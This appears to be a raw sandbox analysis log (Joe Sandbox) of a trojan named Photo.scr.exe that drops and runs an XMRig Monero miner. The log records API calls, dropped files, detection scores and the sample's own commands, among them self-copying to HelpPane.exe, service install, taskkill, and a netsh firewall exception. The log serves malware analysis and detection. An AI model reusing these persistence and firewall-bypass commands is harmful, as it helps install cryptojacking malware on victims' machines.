Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02787890	1_2_02787890
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10002D19	1_2_10002D19
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10001000	1_2_10001000
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10001700	1_2_10001700
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10001CB0	1_2_10001CB0
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_100014D0	1_2_100014D0
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_1E7C0FA0	1_2_1E7C0FA0

Source: C:\Windows\System32\spoolsv.exe

Section loaded: ualapi.dll

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI60842\Crypto.Cipher._AES.pyd C1A900615C9500C46B9602C30C53F299290B03632208EF1152AF8830AB73AD17
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI60842\_ctypes.pyd 6456FEA123E04BCEC8A8EED26160E1DF5482E69D187D3E1A0C428995472AC134

Source: Photo.scr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 29.2.xmrig.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/

Source: C:\Windows\SysWOW64\netsh.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\PeerDistRepub

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: String function: 02761090 appears 35 times
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: String function: 001D1A10 appears 31 times
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: String function: 001D8270 appears 44 times
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: String function: 1E7A9F20 appears 44 times

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02762190 PyList_New,GetActiveProcessorCount,PyErr_SetFromWindowsErr,PyExc_RuntimeError,PyErr_SetString,PyErr_NoMemory,NtQuerySystemInformation,Py_BuildValue,PyList_Append,6C423B4E,6C423B4E,	1_2_02762190
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02765650 GetActiveProcessorCount,PyErr_SetFromWindowsErr,PyExc_RuntimeError,PyErr_SetString,PyErr_NoMemory,NtQuerySystemInformation,PyErr_NoMemory,NtQuerySystemInformation,PyErr_NoMemory,NtQuerySystemInformation,6C423B4E,6C423B4E,6C423B4E,6C423B4E,6C423B4E,6C423B4E,6C423B4E,6C423B4E,Py_BuildValue,	1_2_02765650
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02761E30 GetProcessHeap,GetProcessHeap,RtlAllocateHeap,NtQueryVirtualMemory,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,NtQueryVirtualMemory,PyExc_RuntimeError,PyErr_SetString,PyErr_Clear,GetProcessHeap,HeapFree,	1_2_02761E30
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02762420 PyArg_ParseTuple,PyObject_IsTrue,NtSuspendProcess,NtResumeProcess,CloseHandle,_Py_NoneStruct,_Py_NoneStruct,	1_2_02762420
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02765CD0 PyErr_NoMemory,6C423B4E,NtQuerySystemInformation,6C423B4E,PyErr_NoMemory,6C423B4E,	1_2_02765CD0
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_027664B0 PyExc_RuntimeError,PyErr_SetString,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,PyErr_NoMemory,6C423B4E,CloseHandle,6C423B4E,CloseHandle,	1_2_027664B0
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02763890 PyArg_ParseTuple,NtQueryInformationProcess,CloseHandle,Py_BuildValue,	1_2_02763890
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02766880 WaitForSingleObject,SetEvent,WaitForSingleObject,NtQueryObject,SetEvent,	1_2_02766880
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02766C80 PyList_New,RtlAllocateHeap,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,NtQuerySystemInformation,CloseHandle,GetProcessHeap,HeapFree,PyErr_NoMemory,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,CreateFileMappingA,MapViewOfFile,GetCurrentProcess,GetMappedFileNameA,PyUnicodeUCS2_FromWideChar,PyList_Append,UnmapViewOfFile,CloseHandle,CloseHandle,	1_2_02766C80
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02766970 CreateEventA,CreateEventA,CreateEventA,RtlInitializeCriticalSection,RtlEnterCriticalSection,GetProcessHeap,PyList_New,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,NtQuerySystemInformation,PyErr_NoMemory,GetCurrentProcess,DuplicateHandle,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,PyUnicodeUCS2_FromWideChar,PyList_Append,GetProcessHeap,HeapFree,CloseHandle,PyErr_SetFromWindowsErr,GetProcessHeap,HeapFree,CloseHandle,GetProcessHeap,HeapFree,RtlLeaveCriticalSection,	1_2_02766970
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02763920 PyArg_ParseTuple,NtSetInformationProcess,CloseHandle,_Py_NoneStruct,_Py_NoneStruct,	1_2_02763920
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02766100 OpenProcess,GetCurrentProcess,IsWow64Process,IsWow64Process,IsWow64Process,PyErr_Clear,PyErr_Clear,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,PyErr_NoMemory,ReadProcessMemory,CloseHandle,CloseHandle,6C423B4E,	1_2_02766100

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02763F40: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle,

1_2_02763F40

Source: Photo.scr.exe, 00000000.00000003.365793724.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSVCP90.DLL^ vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.367796721.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameservicemanager.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368134439.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32evtlog.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368050983.0000000002237000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32api.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.367667458.0000000002239000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepywintypes27.dll8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368254615.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32service.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.365570579.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_win32sysloader.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368089242.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32event.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.367625632.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepywintypes27.dll8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368168262.0000000002234000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32evtlog.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.366579636.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameperfmon.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.368373812.0000000002234000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32service.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.365707921.0000000002231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSVCM90.DLL^ vs Photo.scr.exe
Source: Photo.scr.exe, 00000000.00000003.367823151.0000000002234000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameservicemanager.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.435831250.000000006C717000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython27.dll. vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.432060670.000000001E8E0000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilenamewin32api.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.432246175.000000001ECC0000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilenamewin32service.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.432148633.000000001E9BC000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamewin32event.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.431958281.000000001E7DD000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenameservicemanager.pyd8 vs Photo.scr.exe
Source: Photo.scr.exe, 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenamepywintypes27.dll8 vs Photo.scr.exe

Source: msvcr90.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9932069359756097
Source: python27.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987474020190024
Source: _hashlib.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9965934530336257
Source: _ssl.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9969374194587629
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9941517223011364
Source: msvcr90.dll.6.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9932069359756097
Source: python27.dll.6.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987474020190024
Source: _hashlib.pyd.6.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9965934530336257
Source: _ssl.pyd.6.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9969374194587629
Source: unicodedata.pyd.6.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9941517223011364

Source: Photo.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\HelpPane.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@46/131@1035/100

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D47D0 GetLastError,FormatMessageW,

0_2_001D47D0

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02767AA0 PyArg_ParseTuple,StartServiceA,CloseServiceHandle,_Py_NoneStruct,_Py_NoneStruct,

1_2_02767AA0

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_1E7AA5B0 ?PyWinObject_FreeResourceId@@YAXPA_W@Z,

1_2_1E7AA5B0

Source: Photo.scr.exe	ReversingLabs: Detection: 83%
Source: Photo.scr.exe	Virustotal: Detection: 76%

Source: C:\Users\user\Desktop\Photo.scr.exe

File read: C:\Users\user\Desktop\Photo.scr.exe

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\Desktop\Photo.scr.exe
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\Desktop\Photo.scr.exe
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\HelpPane.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe --startup auto install
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe start
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start
Source: unknown	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /pid 1992 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 1992 /f
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\xmrig.exe C:\Windows\TEMP\xmrig.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\config.json C:\Windows\TEMP\config.json
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\Temp\xmrig.exe C:\Windows\TEMP\xmrig.exe
Source: unknown	Process created: C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe
Source: C:\Windows\Temp\xmrig.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\Desktop\Photo.scr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\HelpPane.exe	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /pid 1992 /f	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\xmrig.exe C:\Windows\TEMP\xmrig.exe	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\config.json C:\Windows\TEMP\config.json	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\Temp\xmrig.exe C:\Windows\TEMP\xmrig.exe	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 1992 /f	Jump to behavior

Source: C:\Windows\System32\spoolsv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{88d96a06-f192-11d4-a65f-0040963251e5}\InProcServer32

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02766F10 LookupPrivilegeValueA,AdjustTokenPrivileges,AdjustTokenPrivileges,AdjustTokenPrivileges,

1_2_02766F10

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 1992)

Source: C:\Users\user\Desktop\Photo.scr.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI69002

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02763C20 PyArg_ParseTuple,PyArg_ParseTuple,PyEval_SaveThread,GetDiskFreeSpaceExW,PyErr_Clear,PyArg_ParseTuple,PyEval_SaveThread,GetDiskFreeSpaceExA,PyEval_RestoreThread,PyErr_SetFromWindowsErrWithFilename,Py_BuildValue,

1_2_02763C20

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02761C70 PyArg_ParseTuple,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,CloseHandle,PyUnicodeUCS2_FromWideChar,

1_2_02761C70

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2380:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4356:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2040:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8284:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7068:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5360:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1204:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6276:120:WilError_01

Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\HelpPane.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\xmrig.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Temp\xmrig.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\Photo.scr.exe

File opened: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcr90.dll

Jump to behavior

Source: Photo.scr.exe

Static file information: File size 6227230 > 1048576

Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Photo.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Photo.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Photo.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\_win32sysloader.pdb source: Photo.scr.exe, 00000000.00000003.365570579.0000000002231000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000006.00000003.375100865.0000000002F51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb1v source: Photo.scr.exe, 00000001.00000002.433740450.000000006C471000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_hashlib.pdb% source: Photo.scr.exe, 00000001.00000002.432266444.000000006C141000.00000040.00000001.01000000.00000009.sdmp, HelpPane.exe, 00000007.00000002.386192659.000000006BB81000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ctypes.pdb source: Photo.scr.exe, 00000001.00000002.437893833.000000006F351000.00000040.00000001.01000000.00000006.sdmp, HelpPane.exe, 00000007.00000002.386525818.000000006BE21000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_hashlib.pdb source: Photo.scr.exe, 00000001.00000002.432266444.000000006C141000.00000040.00000001.01000000.00000009.sdmp, HelpPane.exe, 00000007.00000002.386192659.000000006BB81000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_socket.pdb source: Photo.scr.exe, 00000001.00000002.435928580.000000006F251000.00000040.00000001.01000000.00000007.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\pywintypes.pdb source: Photo.scr.exe, Photo.scr.exe, 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\servicemanager.pdb source: Photo.scr.exe, 00000001.00000002.431909214.000000001E7D1000.00000040.00000001.01000000.00000010.sdmp, HelpPane.exe, 00000007.00000002.386072990.000000001E7D1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\pywintypes.pdb$ source: Photo.scr.exe, 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32service.pdbl source: Photo.scr.exe, 00000001.00000002.432176124.000000001ECB1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: msvcm90.i386.pdb source: Photo.scr.exe, 00000000.00000003.365707921.0000000002231000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000006.00000003.375310051.0000000002F51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32service.pdb source: Photo.scr.exe, 00000001.00000002.432176124.000000001ECB1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32api.pdb source: Photo.scr.exe, 00000001.00000002.431988864.000000001E8C1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: Photo.scr.exe, 00000001.00000002.433740450.000000006C471000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\servicemanager.pdb19 source: Photo.scr.exe, 00000001.00000002.431909214.000000001E7D1000.00000040.00000001.01000000.00000010.sdmp, HelpPane.exe, 00000007.00000002.386072990.000000001E7D1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ssl.pdb source: Photo.scr.exe, 00000001.00000002.432913322.000000006C251000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32event.pdb source: Photo.scr.exe, 00000001.00000002.432080080.000000001E9B1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ctypes.pdba source: Photo.scr.exe, 00000001.00000002.437893833.000000006F351000.00000040.00000001.01000000.00000006.sdmp, HelpPane.exe, 00000007.00000002.386525818.000000006BE21000.00000040.00000001.01000000.00000014.sdmp

Source: Photo.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Photo.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Photo.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Photo.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Photo.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001D82B6 push ecx; ret	0_2_001D82C9
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02768A11 push ecx; ret	1_2_02768A24
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_0276C89F pushad ; ret	1_2_0276C8AD
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02782D01 push ecx; ret	1_2_02782D14
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_1000520B push 0000006Ah; retf	1_2_1000527C
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_1000520D push 0000006Ah; retf	1_2_1000527C
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10003B21 push ecx; ret	1_2_10003B34
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_100051A3 push 0000006Ah; retf	1_2_1000527C
